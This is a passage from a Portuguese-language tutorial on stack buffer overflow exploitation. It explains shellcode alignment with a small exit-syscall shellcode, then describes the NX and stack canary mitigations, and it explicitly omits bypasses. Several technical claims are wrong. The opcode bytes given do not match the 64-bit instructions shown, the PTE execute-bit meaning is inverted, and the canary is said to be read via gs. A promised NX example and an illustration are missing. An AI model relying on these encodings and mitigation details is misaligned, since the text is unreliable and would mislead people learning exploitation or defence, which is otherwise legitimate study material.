    Alinhamento em arquiteturas, falando tanto sobre memória como qualquer coisa da arquitetura, é basicamente quando os bytes seguem uma ordem contígua de múltiplos ou números pares. Algumas arquiteturas como a x86 não requerem alinhamento no código do binário, porém na memória sim, principalmente ao lidarem com endereços, eles precisam ser múltiplos de um inteiro (32 bits ou 4 bytes).

    Falando em corrupção, vamos voltar a adrentar no assunto de alinhamento mas de uma forma mais indireta. A corrupção do shellcode acontece quando opcodes e operandos não são 100% preenchidos, acontece uma baita de uma confusão, como instruções se tornando operandos de uma outra instrução e etc.

             Um exemplo de corrupção do shellcode utilizando o nosso shellcode atual:
     
                     mov rax, 60     ; b8 3c 00 00 00 - 5 (1 opcode, 4 operando)
                     xor rdi, rdi    ; 31 ff - 2 (1 opcode, 1 operando)
                     syscall         ; 0f 05 - 2 (2 opcode)
                                     ; 00 - 1 (alinhamento)

    Mitigations

    Mitigações de segurança são mecanismos desenvolvidos com o fim de evitar ou quebrar um tipo de exploração ou anular uma vulnerabilidade em um programa ou aplicação.

    No nosso contexto de BOF, existem algumas mitigações desenvolvidas com o fim de evitar alguns dos nossos meios de exploração, dentre elas por exemplo, o NX, que protege a stack contra execução de código ou seja, o nosso shellcode na stack se torna inutilizável.

    Irei introduzir as principais de forma individual, mas não é necessária a aprofundação absoluta, o objetivo do paper é se aprofundar mais no contexto de BOF individualmente do que tópicos relacionados.

    Vale ressaltar que não vou explicar ou mencionar bypasses para essas mitigações, isso fica pra outro paper, pois depende tanto do ambiente quanto a mitigação, arquitetura entre outros fatores.

    NX (No-eXecute)

    O NX evita que certos segmentos ou pages (dependendo do método de manadgement que o OS utiliza) mapeadas virtualmente não sejam executáveis, ou seja, a CPU é incapaz de executar código em endereços dentro do intervalo de endereços da page/segmento.

    Durante o mapeamento das physical pages para virtual pages pelo kernel, existe uma table usada no sistema que funciona como um descriptor, ela descreve as características dessa page mapeada, essa é a PT (Page Table), cada page dentro da PT tem uma entry que se chama PTE (Page Table Entry).

    Nesse momento que entra a funcionalidade do NX, um dos bits do descriptor format da PTE é justamente o bit de execução (1 para page executável e 0 para page não-executável). Geralmente no nosso contexto, a stack (em sistemas com NX habilitado) estaria em uma page com o bit de execução em down (0).

    Irei apresentar o NX em um cenário prático a partir do código na introdução do paper:

    Stack Canaries

    Os stack canaries são uma mitigação desenvolvida para prevenção de buffer overflows.

    Ele consiste em adicionar um valor de 64 bits (8 bytes) de tamanho após a user data do stack frame entre os registradores especiais como RBP e RSP.

    ilustração

    Esse valor é definido no setup da thread do processo do programa, geralmente, o valor do canary (durante o setup) permanece em uma região segura na memória (mas ainda em user space) pouco referenciada pelo programa. Quando a função é chamada durante a configuração do stack frame, o valor do canary é movido da região segura para o frame.

    Essa região segura pode ser tanto a TLS (Thread Local Storage) quanto a TCB (Thread Control Block), o único porém é que o acesso da TCB é um pouco mais complicado já que a estrutura é gerida pelo OS e não pela thread.

    Geralmente o programa vai referenciar a região do canary a partir de uma aritmética com o GS (e.q: mov [gs+0x28], rax) que resultaria no valor do canary ainda durante o setup.

    Após a inicialização do canary no setup da thread e após a inserção no frame, antes da função retornar o programa vai handlar o flow para uma outra função chamada "__stack_chk_fail" da GNU C, ela verifica se o valor do canary foi modificado ou não. Geralmente sua chamada são trechos como:

                    0x00000000000011f4 <+107>:   call   0x1070 <__stack_chk_fail@plt>
                   

    References

    [0] https://youtu.be/0kS-EpPOX7c?si=SwlDiot_ggD6tISl&t=1620

    [1] ROPgadget

    [2] gdb/pwndbg

    [3] objdump